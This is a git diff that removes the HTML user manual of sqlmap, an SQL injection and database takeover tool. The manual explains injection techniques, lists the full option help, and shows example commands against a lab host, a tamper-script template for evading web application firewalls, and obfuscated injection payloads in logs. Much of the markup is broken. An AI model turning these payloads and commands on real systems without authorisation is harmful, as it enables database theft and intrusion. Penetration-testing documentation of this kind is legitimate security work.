From 9b174e40417bc620708af6db05775e5fdc25055e Mon Sep 17 00:00:00 2001
From: Bernardo Damele
-
-
-
-
-
-
-
- sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over of
-database servers. It comes with a powerful detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections. sqlmap is developed in
-Python,
-a dynamic, object-oriented, interpreted programming language freely available from
-http://python.org/download/.
-This makes sqlmap a cross-platform application which is independant of the
-operating system. sqlmap requires Python version 2.6 or above.
-To make it even easier, many GNU/Linux distributions come out of the box
-with Python installed. Other Unixes and Mac OSX also provide Python packaged
-and ready to be installed.
-Windows users can download and install the Python installer for x86, AMD64 and Itanium. sqlmap relies on the
-Metasploit Framework for some of its post-exploitation takeover
-features. You need to grab a copy of the framework from the
-download
-page - the required version is 3.5 or higher.
-For the ICMP tunneling out-of-band takeover technique, sqlmap requires the
-Impacket library too. If you are willing to connect directly to a database server (
-sqlmap user's manual
-
-by
-Bernardo Damele A. G.,
-Miroslav Stampar
version 1.0-dev, XXX XX, 2012
-
-This document is the user's manual for
-sqlmap.
-
-1. Introduction
-
-
-
-2. Features
-
-
-3. History
-
-
-4. Download and update
-
-5. Usage
-
-
-
-6. License and copyright
-
-7. Disclaimer
-
-8. Authors
-
-
-
-1. Introduction
-
-1.1 Requirements
-
-
--d
switch),
-without passing through the web application, you need to install Python bindings
-for the database management system that you are going to attack:
-
-
If you plan to attack a web application behind NTLM authentication or use
-the sqlmap update functionality (-
-update
switch) you need to
-install respectively
-python-ntlm and
-python-svn libraries respectively.
Optionally, if you are running sqlmap on Windows, you may wish to install the -PyReadline -library in order to take advantage of the sqlmap TAB completion and -history support features in the SQL shell and OS shell. -Note that these functionalities are available natively via the standard Python -readline -library on other operating systems.
-You can also choose to install the -Psyco library to eventually speed up the sqlmap algorithmic -operations.
- - -Let's say that you are auditing a web application and found a web page
-that accepts dynamic user-provided values via GET
, POST
-or Cookie
parameters or via the HTTP User-Agent
-request header.
-You now want to test if these are affected by a SQL injection
-vulnerability, and if so, exploit them to retrieve as much information as
-possible from the back-end database management system, or even be able to
-access the underlying file system and operating system.
In a simple world, consider that the target url is:
--
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-
-
-Assume that:
--
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
-
-
-is the same page as the original one and (the condition evaluates to True):
--
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
-
-
-differs from the original one (the condition evaluates to False).
-This likely means that you are in front of a SQL
-injection vulnerability in the id
GET
parameter of the
-index.php
page. Additionally, no sanitisation of user's supplied
-input is taking place before the SQL statement is sent to the
-back-end database management system.
This is quite a common flaw in dynamic content web applications and it -does not depend upon the back-end database management system nor on the web -application programming language; it is a flaw within the application code. -The -Open Web Application Security Project -rated this class of vulnerability as the -most common and serious web application vulnerability in their -Top Ten list from 2010.
-Now that you have found the vulnerable parameter, you can exploit it by
-manipulating the id
parameter value in the HTTP request.
Back to the scenario, we can make an educated guess about the probable
-syntax of the SQL SELECT
statement where the user supplied value is
-being used in the get_int.php
web page. In pseudo PHP code:
-
-$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
-
-
-As you can see, appending a syntactically valid SQL statement that will
-evaluate to a True condition after the value for the id
-parameter (such as id=1 AND 1=1
) will result in the web application
-returning the same web page as in the original request (where no SQL
-statement is added).
-This is because the back-end database management system has evaluated the
-injected SQL statement.
-The previous example describes a simple boolean-based blind SQL injection
-vulnerability.
-However, sqlmap is able to detect any type of SQL injection flaw and adapt
-its work-flow accordingly.
In this simple scenario it would also be possible to append, not just one or
-more valid SQL conditions, but also (depending on the DBMS) stacked SQL
-queries. For instance: [...]&id=1;ANOTHER SQL QUERY#
.
sqlmap can automate the process of identifying and exploiting this type of
-vulnerability.
-Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-to sqlmap, the tool will automatically:
-
id
in this example);There exist many -resources -on the web explaining in depth how to detect, exploit and prevent SQL -injection vulnerabilities in web applications. It is recommendeded that you read -them before going much further with sqlmap.
- -Up until sqlmap version 0.8, the tool has been yet another
-SQL injection tool, used by web application penetration testers/newbies/curious
-teens/computer addicted/punks and so on. Things move on
-and as they evolve, we do as well. Now it supports this new switch,
--d
, that allows you to connect from your machine to the database
-server's TCP port where the database management system daemon is listening
-on and perform any operation you would do while using it to attack a
-database via a SQL injection vulnerability.
sqlmap is able to detect and exploit five different SQL injection -types:
--
SELECT
sub-statement, or any other SQL statement whose the user
-want to retrieve the output.
-For each HTTP response, by making a comparison between the HTTP response
-headers/body with the original request, the tool inference the output of
-the injected statement character by character. Alternatively, the user
-can provide a string or regular expression to match on True pages.
-The bisection algorithm implemented in sqlmap to perform this technique
-is able to fetch each character of the output with a maximum of seven HTTP
-requests. Where the output is not within the clear-text plain charset,
-sqlmap will adapt the algorithm with bigger ranges to detect the output.UNION ALL SELECT
.
-This techique works when the web application page passes directly the output
-of the SELECT
statement within a for
loop, or similar, so
-that each line of the query output is printed on the page content.
-sqlmap is also able to exploit partial (single entry) UNION query SQL
-injection vulnerabilities which occur when the output of the
-statement is not cycled in a for
construct, whereas only the first
-entry of the query output is displayed.;
) followed by the
-SQL statement to be executed. This technique is useful to run SQL
-statements other than SELECT
, like for instance, data
-definition or data manipulation statements, possibly leading
-to file system read and write access and operating system command
-execution depending on the underlying back-end database management system
-and the session user privileges.You can watch several demo videos, they are hosted on -YouTube.
- - -Features implemented in sqlmap include:
- - --
Cookie
header string support, useful when the
-web application requires authentication based upon cookies and you have
-such data or in case you just want to test for and exploit SQL injection
-on such header values. You can also specify to always URL-encode the
-Cookie.
-Set-Cookie
header from
-the application, re-establishing of the session if it expires. Test and
-exploit on these values is supported too. Vice versa, you can also force
-to ignore any Set-Cookie
header.
-Referer
header value and
-the HTTP User-Agent
header value specified by user or
-randomly selected from a textual file.
--
Some of these techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.
--
xp_cmdshell()
stored procedure.
-Also, the stored procedure is re-enabled if disabled or created from
-scratch if removed by the DBA.sys_bineval()
. Supported on
-MySQL and PostgreSQL.sys_exec()
on
-MySQL and PostgreSQL or via xp_cmdshell()
on Microsoft SQL
-Server.smb_relay
server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0
) on Linux/Unix and the target DBMS runs as Administrator
-on Windows.sp_replwritetovarbin
stored procedure heap-based buffer
-overflow (
-MS09-004). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation.getsystem
command which include, among others,
-the
-kitrap0d technique (
-MS10-015).
--
-
-
-
-
-
sqlmap can be downloaded from its -SourceForge File List page. -It is available in two formats:
--
You can also checkout the latest development version from the -git -repository:
--
-
-$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
-
-
-
-You can update it at any time to the latest development version by running:
--
-
-$ python sqlmap.py --update
-
-
-
-Or:
--
-
-$ git pull
-
-
-
-
-This is strongly recommended before reporting any bug to the -mailing list.
- - --
-
-$ python sqlmap.py -h
-
- sqlmap/1.0 - automatic SQL injection and database takeover tool
- http://www.sqlmap.org
-
-Usage: python sqlmap.py [options]
-
-Options:
- --version show program's version number and exit
- -h, --help show this help message and exit
- -v VERBOSE Verbosity level: 0-6 (default 1)
-
- Target:
- At least one of these options has to be specified to set the source to
- get target urls from.
-
- -d DIRECT Direct connection to the database
- -u URL, --url=URL Target url
- -l LIST Parse targets from Burp or WebScarab proxy logs
- -r REQUESTFILE Load HTTP request from a file
- -g GOOGLEDORK Process Google dork results as target urls
- -c CONFIGFILE Load options from a configuration INI file
-
- Request:
- These options can be used to specify how to connect to the target url.
-
- --data=DATA Data string to be sent through POST
- --cookie=COOKIE HTTP Cookie header
- --cookie-urlencode URL Encode generated cookie injections
- --drop-set-cookie Ignore Set-Cookie header from response
- --user-agent=AGENT HTTP User-Agent header
- --random-agent Use randomly selected HTTP User-Agent header
- --referer=REFERER HTTP Referer header
- --headers=HEADERS Extra HTTP headers newline separated
- --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
- --auth-cred=ACRED HTTP authentication credentials (name:password)
- --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
- --proxy=PROXY Use a HTTP proxy to connect to the target url
- --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
- --ignore-proxy Ignore system default HTTP proxy
- --delay=DELAY Delay in seconds between each HTTP request
- --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
- --retries=RETRIES Retries when the connection timeouts (default 3)
- --scope=SCOPE Regexp to filter targets from provided proxy log
- --safe-url=SAFURL Url address to visit frequently during testing
- --safe-freq=SAFREQ Test requests between two visits to a given safe url
-
- Optimization:
- These options can be used to optimize the performance of sqlmap.
-
- -o Turn on all optimization switches
- --predict-output Predict common queries output
- --keep-alive Use persistent HTTP(s) connections
- --null-connection Retrieve page length without actual HTTP response body
- --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
-
- Injection:
- These options can be used to specify which parameters to test for,
- provide custom injection payloads and optional tampering scripts.
-
- -p TESTPARAMETER Testable parameter(s)
- --dbms=DBMS Force back-end DBMS to this value
- --os=OS Force back-end DBMS operating system to this value
- --prefix=PREFIX Injection payload prefix string
- --suffix=SUFFIX Injection payload suffix string
- --tamper=TAMPER Use given script(s) for tampering injection data
-
- Detection:
- These options can be used to specify how to parse and compare page
- content from HTTP responses when using blind SQL injection technique.
-
- --level=LEVEL Level of tests to perform (1-5, default 1)
- --risk=RISK Risk of tests to perform (0-3, default 1)
- --string=STRING String to match in page when the query is valid
- --regexp=REGEXP Regexp to match in page when the query is valid
- --text-only Compare pages based only on the textual content
-
- Techniques:
- These options can be used to tweak testing of specific SQL injection
- techniques.
-
- --technique=TECH SQL injection techniques to test for (default BEUST)
- --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
- --union-cols=UCOLS Range of columns to test for UNION query SQL injection
- --union-char=UCHAR Character to use for bruteforcing number of columns
-
- Fingerprint:
- -f, --fingerprint Perform an extensive DBMS version fingerprint
-
- Enumeration:
- These options can be used to enumerate the back-end database
- management system information, structure and data contained in the
- tables. Moreover you can run your own SQL statements.
-
- -b, --banner Retrieve DBMS banner
- --current-user Retrieve DBMS current user
- --current-db Retrieve DBMS current database
- --is-dba Detect if the DBMS current user is DBA
- --users Enumerate DBMS users
- --passwords Enumerate DBMS users password hashes
- --privileges Enumerate DBMS users privileges
- --roles Enumerate DBMS users roles
- --dbs Enumerate DBMS databases
- --tables Enumerate DBMS database tables
- --columns Enumerate DBMS database table columns
- --schema Enumerate DBMS schema
- --count Retrieve number of entries for table(s)
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- --search Search column(s), table(s) and/or database name(s)
- -D DB DBMS database to enumerate
- -T TBL DBMS database table to enumerate
- -C COL DBMS database table column to enumerate
- -U USER DBMS user to enumerate
- --exclude-sysdbs Exclude DBMS system databases when enumerating tables
- --start=LIMITSTART First query output entry to retrieve
- --stop=LIMITSTOP Last query output entry to retrieve
- --first=FIRSTCHAR First query output word character to retrieve
- --last=LASTCHAR Last query output word character to retrieve
- --sql-query=QUERY SQL statement to be executed
- --sql-shell Prompt for an interactive SQL shell
-
- Brute force:
- These options can be used to run brute force checks.
-
- --common-tables Check existence of common tables
- --common-columns Check existence of common columns
-
- User-defined function injection:
- These options can be used to create custom user-defined functions.
-
- --udf-inject Inject custom user-defined functions
- --shared-lib=SHLIB Local path of the shared library
-
- File system access:
- These options can be used to access the back-end database management
- system underlying file system.
-
- --file-read=RFILE Read a file from the back-end DBMS file system
- --file-write=WFILE Write a local file on the back-end DBMS file system
- --file-dest=DFILE Back-end DBMS absolute filepath to write to
-
- Operating system access:
- These options can be used to access the back-end database management
- system underlying operating system.
-
- --os-cmd=OSCMD Execute an operating system command
- --os-shell Prompt for an interactive operating system shell
- --os-pwn Prompt for an out-of-band shell, meterpreter or VNC
- --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
- --os-bof Stored procedure buffer overflow exploitation
- --priv-esc Database process' user privilege escalation
- --msf-path=MSFPATH Local path where Metasploit Framework is installed
- --tmp-path=TMPPATH Remote absolute path of temporary files directory
-
- Windows registry access:
- These options can be used to access the back-end database management
- system Windows registry.
-
- --reg-read Read a Windows registry key value
- --reg-add Write a Windows registry key value data
- --reg-del Delete a Windows registry key value
- --reg-key=REGKEY Windows registry key
- --reg-value=REGVAL Windows registry key value
- --reg-data=REGDATA Windows registry key value data
- --reg-type=REGTYPE Windows registry key value type
-
- General:
- These options can be used to set some general working parameters.
-
- -t TRAFFICFILE Log all HTTP traffic into a textual file
- -s SESSIONFILE Save and resume all data retrieved on a session file
- --flush-session Flush session file for current target
- --fresh-queries Ignores query results stored in session file
- --eta Display for each output the estimated time of arrival
- --update Update sqlmap
- --save Save options on a configuration INI file
- --batch Never ask for user input, use the default behaviour
-
- Miscellaneous:
- --beep Alert when sql injection found
- --check-payload IDS detection testing of injection payloads
- --cleanup Clean up the DBMS by sqlmap specific UDF and tables
- --forms Parse and test forms on target url
- --gpage=GOOGLEPAGE Use Google dork results from specified page number
- --mobile Imitate smartphone through HTTP User-Agent header
- --page-rank Display page rank (PR) for Google dork results
- --parse-errors Parse DBMS error messages from response pages
- --replicate Replicate dumped data into a sqlite3 database
- --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address
- --wizard Simple wizard interface for beginner users
-
-
-
-
-
-Switch: -v
This switch can be used to set the verbosity level of output messages. -There exist seven levels of verbosity. -The default level is 1 in which information, warning, error and -critical messages and Python tracebacks (if any occur) will be displayed.
--
A reasonable level of verbosity to further understand what sqlmap does -under the hood is level 2, primarily for the detection phase and -the take-over functionalities. Whereas if you want to see the SQL payloads -the tools sends, level 3 is your best choice. -In order to further debug potential bugs or unexpected behaviours, we -recommend you to set the verbosity to level 4 or above. This -level is recommended to be used when you feed the developers with a bug -report too.
- - -At least one of these options has to be provided.
- -Switch: -u
or -
-url
Run sqlmap against a single target URL. This switch requires an argument
-which is the target URL in the form http(s)://targeturl[:port]/[...]
.
Switch: -l
Rather than providing a single target URL, it is possible to test and -inject against HTTP requests proxied through -Burp proxy or -WebScarab proxy This switch requires an argument which is the -proxy's HTTP requests log file.
- -Switch: -r
One of the possibilities of sqlmap is loading of complete HTTP request -from a textual file. That way you can skip usage of bunch of other -options (e.g. setting of cookies, POSTed data, etc).
- -Sample content of a HTTP request file provided as argument to this switch:
--
-
-POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 192.168.136.131
-User-Agent: Mozilla/4.0
-
-id=1
-
-
-
-
-Switch: -g
It is also possible to test and inject on GET
parameters on the
-results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
-cookie to be able to perform a search, then sqlmap will retrieve Google
-first 100 results for the Google dork expression with GET
-parameters asking you if you want to test and inject on each possible
-affected URL.
Switch: -c
It is possible to pass user's options from a configuration INI file, an
-example is sqlmap.conf
.
Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite those provided in the -configuration file.
- - -These options can be used to specify how to connect to the target url.
- -Option: -
-data
By default the HTTP method used to perform HTTP requests is GET
,
-but you can implicitly change it to POST
by providing the data to
-be sent in the POST
requests. Such data, being those parameters,
-are tested for SQL injection as well as any provided GET
-parameters.
Cookie
headerSwitches: -
-cookie
, -
-drop-set-cookie
-and -
-cookie-urlencode
This feature can be useful in two ways:
--
Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through are the following:
--
-
-cookie
switch.Note that the HTTP Cookie
header values are usually separated by
-a ;
character, not by an &
. sqlmap can
-recognize these as separate sets of parameter=value
too, as well
-as GET and POST parameters.
If at any time during the communication, the web application responds with
-Set-Cookie
headers, sqlmap will automatically use its value in
-all further HTTP requests as the Cookie
header. sqlmap will also
-automatically test those values for SQL injection. This can be avoided by
-providing the switch -
-drop-set-cookie
- sqlmap will
-ignore any coming Set-Cookie
header.
Vice versa, if you provide a HTTP Cookie
header with
--
-cookie
switch and the target URL sends an HTTP
-Set-Cookie
header at any time, sqlmap will ask you which set of
-cookies to use for the following HTTP requests.
sqlmap by default does not URL-encode generated cookie payloads,
-but you can force it by using the -
-cookie-urlencode
-switch. Cookie content encoding is not declared by HTTP protocol standard
-in any way, so it is solely the matter of web application's behaviour.
Note that also the HTTP Cookie
header is tested against SQL
-injection if the -
-level
is set to 2 or above.
-Read below for details.
User-Agent
headerSwitches: -
-user-agent
and -
-random-agent
By default sqlmap performs HTTP requests with the following User-Agent
-header value:
-
-
-sqlmap/0.9 (http://www.sqlmap.org)
-
-
-
-
-However, it is possible to fake it with the -
-user-agent
-switch by providing custom User-Agent as the switch argument.
Moreover, by providing the -
-random-agent
switch, sqlmap
-will randomly select a User-Agent
from the ./txt/user-agents.txt
-textual file and use it for all HTTP requests within the session.
Some sites perform a server-side check on the HTTP User-Agent
-header value and fail the HTTP response if a valid User-Agent
is
-not provided, its value is not expected or is blacklisted by a web
-application firewall or similar intrusion prevention system. In this case
-sqlmap will show you a message as follows:
-
-
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
-force the HTTP User-Agent header with option --user-agent or --random-agent
-
-
-
-
-Note that also the HTTP User-Agent
header is tested against SQL
-injection if the -
-level
is set to 3 or above.
-Read below for details.
Referer
headerSwitch: -
-referer
It is possible to fake the HTTP Referer
header value. By default
-no HTTP Referer
header is sent in HTTP requests if not
-explicitly set.
Note that also the HTTP Referer
header is tested against SQL
-injection if the -
-level
is set to 3 or above.
-Read below for details.
Switch: -
-headers
It is possible to provide extra HTTP headers by setting the
--
-headers
switch. Each header must be separated by a
-newline and it is much easier to provide them from the configuration INI
-file. Have a look at the sample sqlmap.conf
file for an example.
Switches: -
-auth-type
and -
-auth-cred
These options can be used to specify which HTTP protocol authentication -the web server implements and the valid credentials to be used to perform -all HTTP requests to the target application.
-The three supported HTTP protocol authentication mechanisms are:
--
Basic
Digest
NTLM
While the credentials' syntax is username:password
.
Example of valid syntax:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- --auth-type Basic --auth-cred "testuser:testpass"
-
-
-
-
-
-Switch: -
-auth-cert
This switch should be used in cases when the web server requires proper
-client-side certificate for authentication. Supplied values should be in
-the form: key_file,cert_file
, where key_file
should be
-the name of a PEM formatted file that contains your private key, while
-cert_file
should be the name for a PEM formatted certificate
-chain file.
Switches: -
-proxy
, -
-proxy-cred
,
--
-ignore-proxy
and -
-tor
It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S)
-requests to the target URL. The syntax of HTTP(S) proxy value is
-http://url:port
.
If the HTTP(S) proxy requires authentication, you can provide the
-credentials in the format username:password
to the
--
-proxy-cred
switch.
If, for any reason, you need to stay anonymous, instead of passing by a
-single predefined HTTP(S) proxy server, you can configure a
-Tor client together with
-Privoxy (or similar) on
-your machine as explained on the Tor client guide and use the Privoxy
-daemon, by default listening on 127.0.0.1:8118
, as the sqlmap
-proxy by simply providing the tool with the -
-tor
-switch instead of -
-proxy
.
The switch -
-ignore-proxy
should be used when you want
-to run sqlmap against a target part of a local area network by ignoring
-the system-wide set HTTP(S) proxy server setting.
Switch: -
-delay
It is possible to specify a number of seconds to hold between each HTTP(S)
-request. The valid value is a float, for instance 0.5
means half
-a second.
-By default, no delay is set.
Switch: -
-timeout
It is possible to specify a number of seconds to wait before considering -the HTTP(S) request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half. -By default 30 seconds are set.
- - -Switch: -
-retries
It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to three times.
- - -Switch: -
-scope
Rather than using all hosts parsed from provided logs with switch
--l
, you can specify valid Python regular expression to be used
-for filtering desired ones.
Example of valid syntax:
--
-
-$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
-
-
-
-
-
-Switches: -
-safe-url
and -
-safe-freq
Sometimes web applications or inspection technology in between destroys -the session if a certain number of unsuccessful requests is performed. -This might occur during the detection phase of sqlmap or when it exploits -any of the blind SQL injection types. Reason why is that the SQL payload -does not necessarily returns output and might therefore raise a signal to -either the application session management or the inspection technology.
- -To bypass this limitation set by the target, you can provide two switches:
--
-
-safe-url
: Url address to visit frequently during
-testing.-
-safe-freq
: Test requests between two visits to a
-given safe url.This way, sqlmap will visit every a predefined number of requests a -certain safe URL without performing any kind of injection against -it.
- - -These switches can be used to optimize the performance of sqlmap.
- - -Switch: -o
This switch is an alias that implicitly sets the following switches:
--
-
-keep-alive
-
-null-connection
-
-threads 3
if not set to a higher value.Read below for details about each switch.
- - -Switch: -
-predict-output
This switch is used in inference algorithm for sequential statistical
-prediction of characters of value being retrieved. Statistical table with
-the most promising character values is being built based on items given in
-txt/common-outputs.txt
combined with the knowledge of current
-enumeration used. In case that the value can be found among the common
-output values, as the process progresses, subsequent character tables are
-being narrowed more and more. If used in combination with retrieval of
-common DBMS entities, as with system table names and privileges, speed up
-is significant. Of course, you can edit the common outputs file according
-to your needs if, for instance, you notice common patterns in database
-table names or similar.
Note that this switch is not compatible with -
-threads
-switch.
Switch: -
-keep-alive
This switch instructs sqlmap to use persistent HTTP(s) connections.
- -Note that this switch is incompatible with -
-proxy
-switch.
Switch: -
-null-connection
There are special HTTP request types which can be used to retrieve
-HTTP response's size without getting the HTTP body. This knowledge can be
-used in blind injection technique to distinguish True
from
-False
responses. When this switch is provided, sqlmap will try to
-test and exploit two different NULL connection techniques:
-Range
and HEAD
.
-If any of these is supported by the target web server, speed up will come
-from the obvious saving of used bandwidth.
These techniques are detailed in the white paper -Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).
- -Note that this switch is incompatible with -
-text-only
-switch.
Switch: -
-threads
It is possible to specify the maximum number of concurrent HTTP(S) -requests that sqlmap is allowed to do. -This feature relies on the -multi-threading concept and inherits both its pro and its cons.
- -This features applies to the brute-force switches and when the data -fetching is done through any of the blind SQL injection techniques. -For the latter case, sqlmap first calculates the length of the query -output in a single thread, then starts the multi-threading. Each thread is -assigned to retrieve one character of the query output. The thread ends -when that character is retrieved - it takes up to 7 HTTP(S) requests with -the bisection algorithm implemented in sqlmap.
- -The maximum number of concurrent requests is set to 10 for -performance and site reliability reasons.
- -Note that this switch is not compatible with
--
-predict-output
switch.
These options can be used to specify which parameters to test for, provide -custom injection payloads and optional tampering scripts.
- -Switch: -p
By default sqlmap tests all GET
parameters and POST
-parameters. When the value of -
-level
is >= 2
-it tests also HTTP Cookie
header values. When this value is >=
-3 it tests also HTTP User-Agent
and HTTP Referer
-header value for SQL injections.
-It is however possible to manually specify a comma-separated list of
-parameter(s) that you want sqlmap to test. This will bypass the dependence
-on the value of -
-level
too.
For instance, to test for GET parameter id
and for HTTP
-User-Agent
only, provide -p id,user-agent
.
There are special cases when injection point is within the URI itself.
-sqlmap does not perform any automatic test against URI paths, unless
-manually pointed to.
-You have to specify these injection points in the command line by
-appending an asterisk (*
) after each URI point that you want
-sqlmap to test for and exploit a SQL injection.
This is particularly useful when, for instance, Apache web server's -mod_rewrite module is in use or other similar technologies.
- -An example of valid command line would be:
--
-
-$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
-
-
-
-
-
-Switch: -
-dbms
By default sqlmap automatically detects the web application's back-end -database management system. -As of version 0.9, sqlmap fully supports the following database -management systems:
--
If for any reason sqlmap fails to detect the back-end DBMS once a SQL
-injection has been identified or if you want to avoid an active fingeprint,
-you can provide the name of the back-end DBMS yourself (e.g. postgresql
).
-For MySQL and Microsoft SQL Server provide them respectively in the form
-MySQL <version>
and Microsoft SQL Server <version>
, where <version>
is a valid version for the DBMS; for
-instance 5.0
for MySQL and 2005
for Microsoft SQL Server.
In case you provide -
-fingerprint
together with
--
-dbms
, sqlmap will only perform the extensive
-fingerprint for the specified database management system only, read below
-for further details.
Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system. If you do not know it, let sqlmap -automatically fingerprint it for you.
- - -Switch: -
-os
By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when this -information is a dependence of any other provided switch. -At the moment the fully supported operating systems are two:
--
It is possible to force the operating system name if you already know it -so that sqlmap will avoid doing it itself.
- -Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system underlying operating system. If you do -not know it, let sqlmap automatically identify it for you.
- - -Switches: -
-prefix
and -
-suffix
In some circumstances the vulnerable parameter is exploitable only if the -user provides a specific suffix to be appended to the injection payload. -Another scenario where these options come handy presents itself when the -user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and suffix.
- -Example of vulnerable source code:
--
-
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
-
-
-
-
-To detect and exploit this SQL injection, you can either let sqlmap detect -the boundaries (as in combination of SQL payload prefix and -suffix) for you during the detection phase, or provide them on your own. -For example:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
- -p id --prefix "')" --suffix "AND ('abc'='abc"
-[...]
-
-
-
-
-This will result in all sqlmap requests to end up in a query as follows:
--
-
-$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
-
-
-
-
-Which makes the query syntactically correct.
- -In this simple example, sqlmap could detect the SQL injection and exploit
-it without need to provide custom boundaries, but sometimes in real world
-application it is necessary to provide it when the injection point is
-within nested JOIN
queries for instance.
Switch: -
-tamper
sqlmap itself does no obfuscation of the payload sent, except for strings
-between single quotes replaced by their CHAR()
-alike
-representation.
This switch can be very useful and powerful in situations where there is -a weak input validation mechanism between you and the back-end database -management system. This mechanism usually is a self-developed input -validation routine called by the application source code, an expensive -enterprise-grade IPS appliance or a web application firewall (WAF). All -buzzwords to define the same concept, implemented in a different way and -costing lots of money, usually.
- -To take advantage of this switch, provide sqlmap with a comma-separated
-list of tamper scripts and this will process the payload and return it
-transformed. You can define your own tamper scripts, use sqlmap ones from
-the tamper/
folder or edit them as long as you concatenate them
-comma-separated as the argument of -
-tamper
switch.
The format of a valid tamper script is as follows:
--
-
-# Needed imports
-from lib.core.enums import PRIORITY
-
-# Define which is the order of application of tamper scripts against the payload
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload):
- '''
- Description of your tamper script
- '''
-
- retVal = payload
-
- # your code to tamper the original payload
-
- # return the tampered payload
- return retVal
-
-
-
-
-You can check valid and usable tamper scripts in the tamper/
-directory.
Example against a MySQL target assuming that >
character,
-spaces and capital SELECT
string are banned:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
- tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
-
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [INFO] loading tamper script 'between'
-[hh:mm:03] [INFO] loading tamper script 'randomcase'
-[hh:mm:03] [INFO] loading tamper script 'space2comment'
-[...]
-[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
-[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
-[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
-[...]
-[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
-58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
-ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
-group/**/bY/**/x)a)
-[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
-clause' injectable
-[...]
-
-
-
-
-
-
-These options can be used to specify how to parse and compare page -content from HTTP responses when using blind SQL injection technique.
- -Switch: -
-level
This switch requires an argument which specifies the level of tests to
-perform. There are five levels. The default value is 1
-where limited number of tests (requests) are performed. Vice versa, level
-5 will test verbosely for a much larger number of payloads and
-boundaries (as in pair of SQL payload prefix and suffix).
-The payloads used by sqlmap are specified in the textual file
-xml/payloads.xml
. Following the instructions on top of the file,
-if sqlmap misses an injection, you should be able to add your own
-payload(s) to test for too!
Not only this switch affects which payload sqlmap tries, but also which -injection points are taken in exam: GET and POST parameters are -always tested, HTTP Cookie header values are tested from level -2 and HTTP User-Agent/Referer headers' value is tested from level -3.
- -All in all, the harder it is to detect a SQL injection, the higher the
--
-level
must be set.
It is strongly recommended to higher this value before reporting to the -mailing list that sqlmap is not able to detect a certain injection point.
- - -Switch: -
-risk
This switch requires an argument which specifies the risk of tests to
-perform. There are four risk values. The default value is
-1 which is innocuous for the majority of SQL injection points.
-Risk value 2 adds to the default level the tests for heavy query
-time-based SQL injections and value 3 adds also OR
-based SQL
-injection tests.
In some instances, like a SQL injection in an UPDATE
statement,
-injecting an OR
-based payload can lead to an update of all the
-entries of the table, which is certainly not what the attacker wants. For
-this reason and others this switch has been introduced: the user has
-control over which payloads get tested, the user can arbitrarily choose
-to use also potentially dangerous ones.
-As per the previous switch, the payloads used by sqlmap are specified in
-the textual file xml/payloads.xml
and you are free to edit and
-add your owns.
Switches: -
-string
, -
-regexp
and
--
-text-only
By default the distinction of a True
query by a False
-one (rough concept behind boolean-based blind SQL injection vulnerabilities)
-is done by comparing the injected requests page content with the original
